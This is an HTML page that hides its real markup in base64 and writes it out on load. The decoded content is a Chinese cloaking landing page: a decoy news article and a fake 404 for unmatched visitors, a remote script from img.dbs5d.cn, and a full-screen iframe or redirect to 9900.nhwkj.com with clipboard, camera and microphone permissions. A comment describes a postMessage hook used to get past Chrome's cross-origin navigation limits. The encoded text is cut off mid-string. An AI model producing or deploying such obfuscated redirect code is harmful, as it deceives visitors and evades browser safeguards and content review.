<!DOCTYPE html>
<html>
<head><meta charset="utf-8"></head>
<body>
<script>
/* Encrypted by Gemini Tool */
document.write(decodeURIComponent(escape(atob("PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9InpoIj4KPGhlYWQ+CiAgPG1ldGEgY2hhcnNldD0idXRmLTgiPgogIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MSwgbWF4aW11bS1zY2FsZT0xLCB1c2VyLXNjYWxhYmxlPTAsIHZpZXdwb3J0LWZpdD1jb3ZlciI+CiAgPG1ldGEgbmFtZT0icmVmZXJyZXIiIGNvbnRlbnQ9Im5vLXJlZmVycmVyLXdoZW4tZG93bmdyYWRlIj4KICA8dGl0bGU+6K+356iN5YCZLi4uPC90aXRsZT4KICA8IS0tIOWFpeWPo+mFjee9ru+8muS4juacrOaWh+S7tuWQjOebruW9leS4iuS8oOWIsCBPU1PvvIzmlLnmjqXlj6Pln5/lkI3lj6rpnIDmm7TmlrDov5nkuIDkuKrmlofku7YgLS0+CiAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vaW1nLmRiczVkLmNuL2ZpbGVzL2pzL2VudHJ5LmpzIj48L3NjcmlwdD4KICA8c3R5bGU+CiAgICBodG1sLCBib2R5IHsgbWFyZ2luOiAwOyBwYWRkaW5nOiAwOyBoZWlnaHQ6IDEwMCU7IHdpZHRoOiAxMDAlOyBvdmVyZmxvdzogaGlkZGVuOyB9CiAgICBib2R5IHsgbWluLWhlaWdodDogMTAwdmg7IGJhY2tncm91bmQ6ICNmZmY7IC13ZWJraXQtdGV4dC1zaXplLWFkanVzdDogMTAwJTsgfQogICAgLmVudHJ5LWxvYWRpbmcgewogICAgICBwb3NpdGlvbjogZml4ZWQ7IHRvcDogMDsgbGVmdDogMDsgcmlnaHQ6IDA7IGJvdHRvbTogMDsgYmFja2dyb3VuZDogI2ZmZjsgei1pbmRleDogMTAwOwogICAgICBkaXNwbGF5OiBmbGV4OyBmbGV4LWRpcmVjdGlvbjogY29sdW1uOyBhbGlnbi1pdGVtczogY2VudGVyOyBqdXN0aWZ5LWNvbnRlbnQ6IGNlbnRlcjsKICAgICAgcGFkZGluZzogMjBweDsgYm94LXNpemluZzogYm9yZGVyLWJveDsKICAgIH0KICAgIC5lbnRyeS1sb2FkaW5nIC5zcGlubmVyIHsKICAgICAgd2lkdGg6IDI4cHg7IGhlaWdodDogMjhweDsgYm9yZGVyOiAycHggc29saWQgI2YwZjBmMDsgYm9yZGVyLXRvcC1jb2xvcjogIzVlYWY2ZDsKICAgICAgYm9yZGVyLXJhZGl1czogNTAlOyBhbmltYXRpb246IGVudHJ5LXNwaW4gLjhzIGxpbmVhciBpbmZpbml0ZTsKICAgIH0KICAgIC5lbnRyeS1sb2FkaW5nIC50eHQgeyBjb2xvcjogI2JiYjsgZm9udC1zaXplOiAxM3B4OyBtYXJnaW4tdG9wOiAxMHB4OyB0ZXh0LWFsaWduOiBjZW50ZXI7IG1heC13aWR0aDogOTB2dzsgfQogICAgLmVudHJ5LXByb2dyZXNzIHsgbWFyZ2luLXRvcDogMTBweDsgd2lkdGg6IDE2MHB4OyBoZWlnaHQ6IDNweDsgYmFja2dyb3VuZDogI2Y1ZjVmNTsgYm9yZGVyLXJhZGl1czogMnB4OyBvdmVyZmxvdzogaGlkZGVuOyB9CiAgICAuZW50cnktcHJvZ3Jlc3MtYmFyIHsgaGVpZ2h0OiAxMDAlOyB3aWR0aDogMDsgYmFja2dyb3VuZDogIzVlYWY2ZDsgYm9yZGVyLXJhZGl1czogMnB4OyB0cmFuc2l0aW9uOiB3aWR0aCAuMnMgZWFzZTsgfQogICAgLmVudHJ5LWdvIHsgbWFyZ2luLXRvcDogMTJweDsgZm9udC1zaXplOiAxNHB4OyBjb2xvcjogIzFhNzNlODsgdGV4dC1kZWNvcmF0aW9uOiB1bmRlcmxpbmU7IGRpc3BsYXk6IG5vbmU7IHBvaW50ZXItZXZlbnRzOiBhdXRvOyB9CiAgICAuZW50cnktbWFpbiB7CiAgICAgIHBvc2l0aW9uOiByZWxhdGl2ZTsgei1pbmRleDogMDsgbWluLWhlaWdodDogMTAwdmg7IHBhZGRpbmc6IDAgMCA2MHB4OwogICAgICBib3gtc2l6aW5nOiBib3JkZXItYm94OyBiYWNrZ3JvdW5kOiAjZjZmN2ZiOwogICAgfQogICAgLmVudHJ5LWhlcm8gewogICAgICBiYWNrZ3JvdW5kOiBsaW5lYXItZ3JhZGllbnQoMTQwZGVnLCAjZWFmMmZmIDAlLCAjZjdmYmZmIDUyJSwgI2ZmZmZmZiAxMDAlKTsKICAgICAgYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkICNlZGYxZjc7CiAgICAgIHBhZGRpbmc6IDE4cHggMTZweCAxNHB4OwogICAgfQogICAgLmVudHJ5LW5hdiB7IGNvbG9yOiAjN2Y4Yjk4OyBmb250LXNpemU6IDEzcHg7IG1hcmdpbi1ib3R0b206IDEwcHg7IH0KICAgIC5lbnRyeS1uYXYgYSB7IGNvbG9yOiAjMzMzOyB0ZXh0LWRlY29yYXRpb246IG5vbmU7IH0KICAgIC5lbnRyeS10aXRsZSB7IGZvbnQtc2l6ZTogMjBweDsgY29sb3I6ICMxZjJkM2Q7IGxpbmUtaGVpZ2h0OiAxLjQ1OyBtYXJnaW46IDAgMCA4cHg7IGZvbnQtd2VpZ2h0OiA3MDA7IH0KICAgIC5lbnRyeS1tZXRhIHsgZm9udC1zaXplOiAxMnB4OyBjb2xvcjogIzhjOThhNDsgfQogICAgLmVudHJ5LXdyYXAgewogICAgICBwYWRkaW5nOiAxNHB4IDE2cHggMDsKICAgICAgZGlzcGxheTogZ3JpZDsKICAgICAgZ3JpZC10ZW1wbGF0ZS1jb2x1bW5zOiAxZnI7CiAgICAgIGdhcDogMTJweDsKICAgIH0KICAgIC5lbnRyeS1wYW5lbCB7CiAgICAgIGJhY2tncm91bmQ6ICNmZmY7CiAgICAgIGJvcmRlci1yYWRpdXM6IDEycHg7CiAgICAgIGJvcmRlcjogMXB4IHNvbGlkICNlZGYxZjc7CiAgICAgIGJveC1zaGFkb3c6IDAgNHB4IDEycHggcmdiYSgzMSwgNDUsIDYxLCAuMDQpOwogICAgICBwYWRkaW5nOiAxNHB4IDE0cHggMTJweDsKICAgIH0KICAgIC5lbnRyeS1wYW5lbC10aXRsZSB7IG1hcmdpbjogMCAwIDhweDsgZm9udC1zaXplOiAxNHB4OyBjb2xvcjogIzJmM2I0ODsgfQogICAgLmVudHJ5LWJvZHkgeyBmb250LXNpemU6IDE1cHg7IGNvbG9yOiAjNDQ0OyBsaW5lLWhlaWdodDogMS44OyB0ZXh0LWluZGVudDogMmVtOyB9CiAgICAuZW50cnktYm9keSBwIHsgbWFyZ2luOiAuNmVtIDA7IH0KICAgIC5lbnRyeS1saXN0IHsgbWFyZ2luOiAwOyBwYWRkaW5nOiAwIDAgMCAxOHB4OyBjb2xvcjogIzRhNTU2MDsgZm9udC1zaXplOiAxNHB4OyBsaW5lLWhlaWdodDogMS43NTsgfQogICAgLmVudHJ5LXN0YXRlbWVudCB7IG1hcmdpbi10b3A6IDEycHg7IGZvbnQtc2l6ZTogMTJweDsgY29sb3I6ICM5YWE1YjE7IH0KICAgIEBtZWRpYSAobWluLXdpZHRoOiA5MjBweCkgewogICAgICAuZW50cnktd3JhcCB7IGdyaWQtdGVtcGxhdGUtY29sdW1uczogMmZyIDFmcjsgYWxpZ24taXRlbXM6IHN0YXJ0OyB9CiAgICB9CiAgICAjZnJtIHsgcG9zaXRpb246IHJlbGF0aXZlOyBtaW4taGVpZ2h0OiAxcHg7IHotaW5kZXg6IDE7IGNvbnRhaW46IGxheW91dCBzdHlsZTsgfQogICAgI2ZybS5lbnRyeS1mcm0tZnVsbCB7CiAgICAgIHBvc2l0aW9uOiBmaXhlZDsgaW5zZXQ6IDA7IHdpZHRoOiAxMDAlOyBoZWlnaHQ6IDEwMCU7IG1pbi1oZWlnaHQ6IDEwMHZoOyBtaW4taGVpZ2h0OiAxMDBkdmg7CiAgICAgIHotaW5kZXg6IDUwOyBib3gtc2l6aW5nOiBib3JkZXItYm94OwogICAgfQogICAgI2ZybSBpZnJhbWUgeyBkaXNwbGF5OiBibG9jazsgd2lkdGg6IDEwMCU7IGhlaWdodDogMTAwJTsgYm9yZGVyOiAwOyB9CiAgICBAa2V5ZnJhbWVzIGVudHJ5LXNwaW4geyB0byB7IHRyYW5zZm9ybTogcm90YXRlKDM2MGRlZyk7IH0gfQogIDwvc3R5bGU+CjwvaGVhZD4KPGJvZHk+CiAgPGRpdiBjbGFzcz0iZW50cnktbG9hZGluZyIgaWQ9ImxvYWRpbmciPgogICAgPGRpdiBjbGFzcz0ic3Bpbm5lciI+PC9kaXY+CiAgICA8ZGl2IGNsYXNzPSJ0eHQiIGlkPSJjdCI+6K+356iN5YCZLi4uPC9kaXY+CiAgICA8ZGl2IGNsYXNzPSJlbnRyeS1wcm9ncmVzcyI+PGRpdiBjbGFzcz0iZW50cnktcHJvZ3Jlc3MtYmFyIiBpZD0icHJvZ3Jlc3MtYmFyIj48L2Rpdj48L2Rpdj4KICAgIDxhIGNsYXNzPSJlbnRyeS1nbyIgaWQ9ImdhdGVHbyIgaHJlZj0iIyI+54K55Ye757un57utPC9hPgogIDwvZGl2PgoKICA8bWFpbiBjbGFzcz0iZW50cnktbWFpbiIgaWQ9ImRlY295Ij4KICAgIDxzZWN0aW9uIGNsYXNzPSJlbnRyeS1oZXJvIj4KICAgICAgPG5hdiBjbGFzcz0iZW50cnktbmF2Ij48YSBocmVmPSIvIj7pppbpobU8L2E+ICZndDsgPGEgaHJlZj0iIyI+6LWE6K6vPC9hPiAmZ3Q7IDxhIGhyZWY9IiMiPuato+aWhzwvYT48L25hdj4KICAgICAgPGgxIGNsYXNzPSJlbnRyeS10aXRsZSI+5pWw5a2X5pyN5Yqh5LiO5YaF5a655raI6LS55oyB57ut5Y2H57qn77yM5bmz5Y+w5L2T6aqM5oiQ5YWz5rOo54Sm54K5PC9oMT4KICAgICAgPGRpdiBjbGFzcz0iZW50cnktbWV0YSI+5Y+R5biD5LqOIDIwMjYtMDMtMzEgwrcg5p2l5rqQ77ya57u85ZCI6LWE6K6vIMK3IOmYheivuyAxMi40azwvZGl2PgogICAgPC9zZWN0aW9uPgogICAgPHNlY3Rpb24gY2xhc3M9ImVudHJ5LXdyYXAiPgogICAgICA8YXJ0aWNsZSBjbGFzcz0iZW50cnktcGFuZWwiPgogICAgICAgIDxoMyBjbGFzcz0iZW50cnktcGFuZWwtdGl0bGUiPuato+aWhzwvaDM+CiAgICAgICAgPGRpdiBjbGFzcz0iZW50cnktYm9keSI+CiAgICAgICAgICA8cD7ov5HlubTmnaXvvIznp7vliqjkupLogZTnvZHnlKjmiLflnKjotYTorq/mtY/op4jjgIHlnKjnur/mnI3liqHkuI7ljbPml7bmsp/pgJrnrYnlnLrmma/kuK3nmoTkvb/nlKjml7bplb/mjIHnu63lop7plb/jgILooYzkuJrop4Llr5/kurrlo6vmjIflh7rvvIzlhoXlrrnliIblj5HmlYjnjofjgIHpobXpnaLliqDovb3nqLPlrprmgKfkuI7kuqTkupLmtYHnlYXluqbvvIzmraPmiJDkuLrooaHph4/kuqflk4HkvZPpqoznmoTph43opoHmjIfmoIfjgII8L3A+CiAgICAgICAgICA8cD7lnKjnu4jnq6/kvqfvvIzkuI3lkIzmtY/op4jlmajkuI7lhoXnva4gV2ViVmlldyDnmoTlhbzlrrnlt67lvILku43nhLblrZjlnKjjgILpg6jliIblnLrmma/kuIvvvIzpobXpnaLpppblsY/muLLmn5PjgIHotYTmupDliqDovb3kuI7nvZHnu5zms6LliqjkvJrlr7nnlKjmiLfop4LmhJ/kuqfnlJ/mmI7mmL7lvbHlk43jgILlm6DmraTvvIzlkIjnkIbnmoTliqDovb3mj5DnpLrjgIHotoXml7blhZzlupXkuI7lj6/mgaLlpI3mk43kvZzvvIzmnInliqnkuo7pmY3kvY7nlKjmiLfmtYHlpLHjgII8L3A+CiAgICAgICAgICA8cD7ku47kuqflk4Horr7orqHop5LluqbvvIznroDljJblhaXlj6Pot6/lvoTjgIHmmI7noa7nirbmgIHlj43ppojvvIzlubbkuI7mnI3liqHnq6/nrZbnlaXljY/lkIzvvIzmmK/mj5DljYfmlbTkvZPovazljJbkuI7mu6HmhI/luqbnmoTluLjop4HlgZrms5XjgILkvIHkuJrkuqblj6/pgJrov4fmlbDmja7ln4vngrnkuI7otKjph4/nm5HmjqfvvIzmjIHnu63ov63ku6PlhbPplK7pk77ot6/jgII8L3A+CiAgICAgICAgPC9kaXY+CiAgICAgIDwvYXJ0aWNsZT4KICAgICAgPGFzaWRlIGNsYXNzPSJlbnRyeS1wYW5lbCI+CiAgICAgICAgPGgzIGNsYXNzPSJlbnRyeS1wYW5lbC10aXRsZSI+5bu25Ly46ZiF6K+7PC9oMz4KICAgICAgICA8b2wgY2xhc3M9ImVudHJ5LWxpc3QiPgogICAgICAgICAgPGxpPuWGheWuueW5s+WPsOWmguS9leS8mOWMlummluWxj+WKoOi9veS4jueos+WumuaApzwvbGk+CiAgICAgICAgICA8bGk+5aSN5p2C57uI56uv546v5aKD5LiL55qE5YW85a655LiO6ZmN57qn562W55WlPC9saT4KICAgICAgICAgIDxsaT7lj6/op4LmtYvkvZPns7vlnKjovazljJbpk77ot6/kuK3nmoTlrp7ot7U8L2xpPgogICAgICAgICAgPGxpPuenu+WKqOerr+S6pOS6kuWPjemmiOWvueeVmeWtmOeahOW9seWTjTwvbGk+CiAgICAgICAgICA8bGk+5Lqn5ZOB6L+Q6JCl5Lit55qEIEEvQiDnrZbnlaXkuI7lpI3nm5jmlrnms5U8L2xpPgogICAgICAgIDwvb2w+CiAgICAgIDwvYXNpZGU+CiAgICA8L3NlY3Rpb24+CiAgICA8ZGl2IGNsYXNzPSJlbnRyeS13cmFwIj4KICAgICAgPGRpdiBjbGFzcz0iZW50cnktc3RhdGVtZW50Ij7mnKzmlofkuLrpgJrnlKjotYTorq/ljaDkvY3npLrkvovvvIzkuI3ku6Pooajku7vkvZXnrKzkuInmlrnop4LngrnvvJvovazovb3miJblvJXnlKjor7fms6jmmI7mnaXmupDjgII8L2Rpdj4KICAgIDwvZGl2PgogIDwvbWFpbj4KCiAgPGRpdiBpZD0iZnJtIj48L2Rpdj4KCiAgPHNjcmlwdD4KKGZ1bmN0aW9uICgpIHsKICB2YXIgZG9jID0gZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50OwogIHZhciBxcyA9IG5ldyBVUkxTZWFyY2hQYXJhbXMobG9jYXRpb24uc2VhcmNoKTsKICB2YXIgbG9hZGluZ0VsID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2xvYWRpbmcnKTsKICB2YXIgY3RFbCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdjdCcpOwogIHZhciBwcm9ncmVzc0JhciA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdwcm9ncmVzcy1iYXInKTsKICB2YXIgZ2F0ZUdvID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2dhdGVHbycpOwogIHZhciBkZWNveUVsID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2RlY295Jyk7CiAgdmFyIGZybUVsID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2ZybScpOwogIHZhciBwcm9ncmVzc1RpbWVyID0gbnVsbDsKCiAgdmFyIHRoZW1lcyA9IFsKICAgIHsgbGluZTogJ+ato+WcqOWQjOatpei1hOiur+WGheWuueKApicsIHN1YjogJ+eDreeCuemikemBk+WHhuWkh+S4rScgfSwKICAgIHsgbGluZTogJ+ato+WcqOaJk+W8gOmYheivu+mhteKApicsIHN1YjogJ+ivt+eojeWAmScgfSwKICAgIHsgbGluZTogJ+mhtemdouWKoOi9veS4reKApicsIHN1YjogJ+e9kee7nOWwsee7quWQjuWwhuiHquWKqOi/m+WFpScgfQogIF07CgogIGZ1bmN0aW9uIHBpY2tUaGVtZSgpIHsKICAgIHZhciBpID0gTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogdGhlbWVzLmxlbmd0aCk7CiAgICByZXR1cm4gdGhlbWVzW2kgPCAwIHx8IGkgPj0gdGhlbWVzLmxlbmd0aCA/IDAgOiBpXTsKICB9CgogIGZ1bmN0aW9uIGNsZWFuQmFzZSh2KSB7CiAgICB2ID0gKHYgfHwgJycpLnRyaW0oKTsKICAgIGlmICghdiB8fCAhL15odHRwcz86XC9cLy9pLnRlc3QodikpIHJldHVybiAnJzsKICAgIHJldHVybiB2LnJlcGxhY2UoL1wvKyQvLCAnJyk7CiAgfQoKICBmdW5jdGlvbiBnZXRQYXJhbShuYW1lLCBmYWxsYmFjaykgewogICAgdmFyIHYgPSBxcy5nZXQobmFtZSk7CiAgICB2ID0gdiA9PSBudWxsID8gJycgOiBTdHJpbmcodikudHJpbSgpOwogICAgcmV0dXJuIHYgfHwgKGZhbGxiYWNrIHx8ICcnKTsKICB9CgogIGZ1bmN0aW9uIGVuY29kZVV0ZjhUb0I2NCh0ZXh0KSB7CiAgICByZXR1cm4gYnRvYSh1bmVzY2FwZShlbmNvZGVVUklDb21wb25lbnQodGV4dCkpKTsKICB9CgogIGZ1bmN0aW9uIGJ1aWxkVGFyZ2V0KGJhc2UsIHRva2VuLCBkVmFsdWUsIF91bnVzZWQsIGVtYmVkVmFsdWUpIHsKICAgIGlmICh0b2tlbikgewogICAgICByZXR1cm4gYmFzZSArICcvZW1iZWQvb3NzLycgKyBlbmNvZGVVUklDb21wb25lbnQodG9rZW4pOwogICAgfQogICAgaWYgKCFkVmFsdWUpIHJldHVybiAnJzsKICAgIC8vIOebtOaOpeaehOW7uuS8qumdmeaAgei3r+W+hCAvZC1FTkNPREVELmh0bWzvvIznnIHljrvmnI3liqHnq68gMzAyIOi3s+i9rAogICAgdmFyIHVybCA9IGJhc2UgKyAnL2QtJyArIGRWYWx1ZSArICcuaHRtbCc7CiAgICBpZiAoZW1iZWRWYWx1ZSkgdXJsICs9ICc/ZW1iZWQ9JyArIGVuY29kZVVSSUNvbXBvbmVudChlbWJlZFZhbHVlKTsKICAgIHJldHVybiB1cmw7CiAgfQoKICBmdW5jdGlvbiBzZXRQcm9ncmVzcyhwKSB7CiAgICBpZiAocHJvZ3Jlc3NCYXIpIHByb2dyZXNzQmFyLnN0eWxlLndpZHRoID0gKHAgPj0gMCAmJiBwIDw9IDEwMCA/IHAgOiAwKSArICclJzsKICB9CgogIGZ1bmN0aW9uIGNsZWFyUHJvZ3Jlc3NUaW1lcigpIHsKICAgIGlmIChwcm9ncmVzc1RpbWVyKSB7CiAgICAgIGNsZWFySW50ZXJ2YWwocHJvZ3Jlc3NUaW1lcik7CiAgICAgIHByb2dyZXNzVGltZXIgPSBudWxsOwogICAgfQogIH0KCiAgZnVuY3Rpb24gaGlkZUxvYWRpbmcoKSB7CiAgICBpZiAobG9hZGluZ0VsKSBsb2FkaW5nRWwuc3R5bGUuZGlzcGxheSA9ICdub25lJzsKICB9CgogIGZ1bmN0aW9uIHNob3dQYXJhbUVycm9yKCkgewogICAgaWYgKGN0RWwpIGN0RWwudGV4dENvbnRlbnQgPSAn57y65bCR5Y+C5pWwIG9zc190b2tlbiDmiJYgZCc7CiAgICBzZXRQcm9ncmVzcygxMDApOwogICAgY2xlYXJQcm9ncmVzc1RpbWVyKCk7CiAgICBpZiAoZ2F0ZUdvKSBnYXRlR28uc3R5bGUuZGlzcGxheSA9ICdub25lJzsKICB9CgogIGZ1bmN0aW9uIHNob3dGYWxsYmFjayh0YXJnZXQsIG1lc3NhZ2UpIHsKICAgIGlmIChjdEVsKSBjdEVsLnRleHRDb250ZW50ID0gbWVzc2FnZSB8fCAn5Yqg6L295aSx6LSl77yM54K55Ye757un57utJzsKICAgIGlmIChnYXRlR28pIHsKICAgICAgZ2F0ZUdvLmhyZWYgPSB0YXJnZXQ7CiAgICAgIGdhdGVHby5zdHlsZS5kaXNwbGF5ID0gJ2lubGluZS1ibG9jayc7CiAgICB9CiAgfQoKICB2YXIgbW9kZSA9IChmdW5jdGlvbiAoKSB7CiAgICB2YXIgY2ZnID0gd2luZG93LkVOVFJZX0NPTkZJRyB8fCB7fTsKICAgIHJldHVybiAoY2ZnLm1vZGUgfHwgZ2V0UGFyYW0oJ21vZGUnLCAnJykgfHwgZG9jLmdldEF0dHJpYnV0ZSgnZGF0YS1tb2RlJykgfHwgJ2lmcmFtZScpLnRyaW0oKTsKICB9KCkpOwogIHZhciBiYXNlID0gY2xlYW5CYXNlKAogICAgKHdpbmRvdy5FTlRSWV9DT05GSUcgJiYgd2luZG93LkVOVFJZX0NPTkZJRy5qdW1wQmFzZSkgfHwKICAgIGdldFBhcmFtKCdzaGVsbCcsICcnKSB8fAogICAgZG9jLmdldEF0dHJpYnV0ZSgnZGF0YS1qdW1wLWJhc2UnKSB8fAogICAgJ2h0dHBzOi8vOTkwMC5uaHdrai5jb20nCiAgKTsKICB2YXIgdG9rZW4gPSBnZXRQYXJhbSgnb3NzX3Rva2VuJywgJycpOwogIHZhciBkID0gZ2V0UGFyYW0oJ2QnLCAnJyk7CiAgdmFyIGVtYmVkID0gZ2V0UGFyYW0oJ2VtYmVkJywgJzEnKSB8fCAnMSc7CgogIC8vIE9TUyA0MDQg5Zue6YCA77yaL2QtRU5DT0RFRC5odG1sIOiiqyBPU1Mg6KeE5YiZ6L2s5Y+R5Yiw5pys5paH5Lu25pe277yM5LuO6Lev5b6E5o+Q5Y+WIGQg5YC844CCCiAgLy8g5ZCM5pe25YW85a65IC93LUVOQ09ERUQuaHRtbCDmoLzlvI/jgIIKICBpZiAoIWQgJiYgIXRva2VuKSB7CiAgICB2YXIgcGF0aE1hdGNoID0gbG9jYXRpb24ucGF0aG5hbWUubWF0Y2goL1wvW2R3XS0oW0EtWmEtejAtOV0rKVwuaHRtbCQvKTsKICAgIGlmIChwYXRoTWF0Y2ggJiYgcGF0aE1hdGNoWzFdKSB7CiAgICAgIGQgPSBwYXRoTWF0Y2hbMV07CiAgICB9CiAgfQoKICAvLyDliY3nq6/moLzlvI/moKHpqozvvJpkIOWPguaVsOW/hemhu+aYr+e6ryBCYXNlNjIg5a2X56ym77yIYS16IEEtWiAwLTnvvInkuJTplb/luqYgNn4yMCDkvY3jgIIKICAvLyDkuI3nrKblkIjmoLzlvI/nmoTnm7TmjqXmmL7npLogNDA077yM5LiN6LWw5ZCO56uvIERCIOafpeivouOAggogIGZ1bmN0aW9uIGlzVmFsaWRCYXNlNjJEKHYpIHsKICAgIHJldHVybiAvXltBLVphLXowLTldezYsMjB9JC8udGVzdCh2KTsKICB9CgogIHZhciB0YXJnZXQgPSBidWlsZFRhcmdldChiYXNlLCB0b2tlbiwgZCwgJycsIGVtYmVkKTsKCiAgLy8g5peg5pyJ5pWI5Y+C5pWwIOaIliBkIOagvOW8j+S4jeespu+8muebtOaOpeaYvuekuiA0MDQg6aG177yM5LiN57un57ut5Yqg6L2944CCCiAgaWYgKCF0YXJnZXQgfHwgKGQgJiYgIXRva2VuICYmICFpc1ZhbGlkQmFzZTYyRChkKSkpIHsKICAgIGlmIChsb2FkaW5nRWwpIGxvYWRpbmdFbC5zdHlsZS5kaXNwbGF5ID0gJ25vbmUnOwogICAgaWYgKGRlY295RWwpIGRlY295RWwuc3R5bGUuZGlzcGxheSA9ICcnOwogICAgZG9jdW1lbnQudGl0bGUgPSAnNDA0IC0g6aG16Z2i5LiN5a2Y5ZyoJzsKICAgIHJldHVybjsKICB9CgogIGlmIChtb2RlID09PSAncmVkaXJlY3QnKSB7CiAgICBsb2NhdGlvbi5yZXBsYWNlKHRhcmdldCk7CiAgICByZXR1cm47CiAgfQoKICBpZiAoZW1iZWQgPT09ICcxJykgewogICAgaWYgKGRlY295RWwpIGRlY295RWwuc3R5bGUuZGlzcGxheSA9ICdub25lJzsKICB9CgogIHZhciB0aCA9IHBpY2tUaGVtZSgpOwogIGlmIChjdEVsKSBjdEVsLnRleHRDb250ZW50ID0gdGgubGluZSArICh0aC5zdWIgPyAnICcgKyB0aC5zdWIgOiAnJyk7CgogIHZhciByZWFkeSA9IGZhbHNlOwogIHZhciBsb2FkV2F0Y2hUaW1lciA9IG51bGw7CgogIGZ1bmN0aW9uIG1vdW50SWZyYW1lKCkgewogICAgY2xlYXJQcm9ncmVzc1RpbWVyKCk7CiAgICBwcm9ncmVzc1RpbWVyID0gc2V0SW50ZXJ2YWwoZnVuY3Rpb24gKCkgewogICAgICB2YXIgdyA9IHBhcnNlSW50KHByb2dyZXNzQmFyICYmIHByb2dyZXNzQmFyLnN0eWxlLndpZHRoID8gcHJvZ3Jlc3NCYXIuc3R5bGUud2lkdGggOiAnMCcsIDEwKSB8fCAwOwogICAgICBpZiAodyA8IDcwKSBzZXRQcm9ncmVzcyh3ICsgOCk7CiAgICB9LCAxMjApOwoKICAgIHZhciBmcmFtZSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ2lmcmFtZScpOwogICAgZnJhbWUuc3JjID0gdGFyZ2V0OwogICAgZnJhbWUuc2V0QXR0cmlidXRlKCd0aXRsZScsICdlbnRyeScpOwogICAgZnJhbWUuc2V0QXR0cmlidXRlKCdpbXBvcnRhbmNlJywgJ2hpZ2gnKTsKICAgIGZyYW1lLnNldEF0dHJpYnV0ZSgnYWxsb3cnLCAnY2xpcGJvYXJkLXJlYWQ7IGNsaXBib2FyZC13cml0ZTsgbWljcm9waG9uZSAqOyBjYW1lcmEgKjsgZnVsbHNjcmVlbiAqJyk7CiAgICBmcmFtZS5zdHlsZS5jc3NUZXh0ID0gJ3Bvc2l0aW9uOmFic29sdXRlO3RvcDowO2xlZnQ6MDt3aWR0aDoxMDAlO2hlaWdodDoxMDAlO2JvcmRlcjowO2JveC1zaXppbmc6Ym9yZGVyLWJveCc7CgogICAgZnJhbWUub25sb2FkID0gZnVuY3Rpb24gKCkgewogICAgICByZWFkeSA9IHRydWU7CiAgICAgIGlmIChsb2FkV2F0Y2hUaW1lcikgeyBjbGVhclRpbWVvdXQobG9hZFdhdGNoVGltZXIpOyBsb2FkV2F0Y2hUaW1lciA9IG51bGw7IH0KICAgICAgY2xlYXJQcm9ncmVzc1RpbWVyKCk7CiAgICAgIHNldFByb2dyZXNzKDEwMCk7CiAgICAgIHNldFRpbWVvdXQoaGlkZUxvYWRpbmcsIDgwKTsKICAgIH07CiAgICBmcmFtZS5vbmVycm9yID0gZnVuY3Rpb24gKCkgewogICAgICBpZiAobG9hZFdhdGNoVGltZXIpIHsgY2xlYXJUaW1lb3V0KGxvYWRXYXRjaFRpbWVyKTsgbG9hZFdhdGNoVGltZXIgPSBudWxsOyB9CiAgICAgIGNsZWFyUHJvZ3Jlc3NUaW1lcigpOwogICAgICBzZXRQcm9ncmVzcygxMDApOwogICAgICBzaG93RmFsbGJhY2sodGFyZ2V0LCAn5Yqg6L295aSx6LSl77yM54K55Ye757un57utJyk7CiAgICB9OwoKICAgIGxvYWRXYXRjaFRpbWVyID0gc2V0VGltZW91dChmdW5jdGlvbiAoKSB7CiAgICAgIGlmIChyZWFkeSkgcmV0dXJuOwogICAgICBsb2FkV2F0Y2hUaW1lciA9IG51bGw7CiAgICAgIGNsZWFyUHJvZ3Jlc3NUaW1lcigpOwogICAgICBzZXRQcm9ncmVzcygxMDApOwogICAgICBzaG93RmFsbGJhY2sodGFyZ2V0LCAn5Yqg6L296LaF5pe277yM54K55Ye757un57utJyk7CiAgICB9LCAxMDAwMCk7CgogICAgaWYgKGZybUVsKSB7CiAgICAgIGZybUVsLmNsYXNzTGlzdC5hZGQoJ2VudHJ5LWZybS1mdWxsJyk7CiAgICAgIGZybUVsLmFwcGVuZENoaWxkKGZyYW1lKTsKICAgIH0gZWxzZSB7CiAgICAgIGRvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoZnJhbWUpOwogICAgfQogIH0KCiAgc2V0VGltZW91dChtb3VudElmcmFtZSwgODAwKTsKCgogIHdpbmRvdy5hZGRFdmVudExpc3RlbmVyKCdwYWdlc2hvdycsIGZ1bmN0aW9uICgpIHsKICAgIGlmIChmcm1FbCAmJiBmcm1FbC5xdWVyeVNlbGVjdG9yKCdpZnJhbWUnKSkgewogICAgICBjbGVhclByb2dyZXNzVGltZXIoKTsKICAgICAgaGlkZUxvYWRpbmcoKTsKICAgIH0KICB9KTsKICBkb2N1bWVudC5hZGRFdmVudExpc3RlbmVyKCd2aXNpYmlsaXR5Y2hhbmdlJywgZnVuY3Rpb24gKCkgewogICAgaWYgKCFkb2N1bWVudC5oaWRkZW4gJiYgZnJtRWwgJiYgZnJtRWwucXVlcnlTZWxlY3RvcignaWZyYW1lJykpIHsKICAgICAgY2xlYXJQcm9ncmVzc1RpbWVyKCk7CiAgICAgIGhpZGVMb2FkaW5nKCk7CiAgICB9CiAgfSk7Cn0pKCk7CiAgPC9zY3JpcHQ+CiAgPHNjcmlwdD4KICAvLyDnm5HlkKzlrZAgaWZyYW1l77yI6IGK5aSp6JC95Zyw6aG177yJ5Y+R5p2l55qE6Lez6L2s6K+35rGCCiAgLy8g5a2Q6aG16Z2i6LCD55So77yad2luZG93LnBhcmVudC5wb3N0TWVzc2FnZSh7IHR5cGU6ICdUT1BfTkFWSUdBVEUnLCB1cmw6ICfnm67moIflnLDlnYAnIH0sICcqJykKICAvLyDniLbpobXpnaLvvIjmnKzpobXvvInmlLbliLDlkI7oh6rooYzot7PovazvvIzlvbvlupXnu5Xov4cgQ2hyb21lIOWvuei3qOWfnyBpZnJhbWUg6Ieq5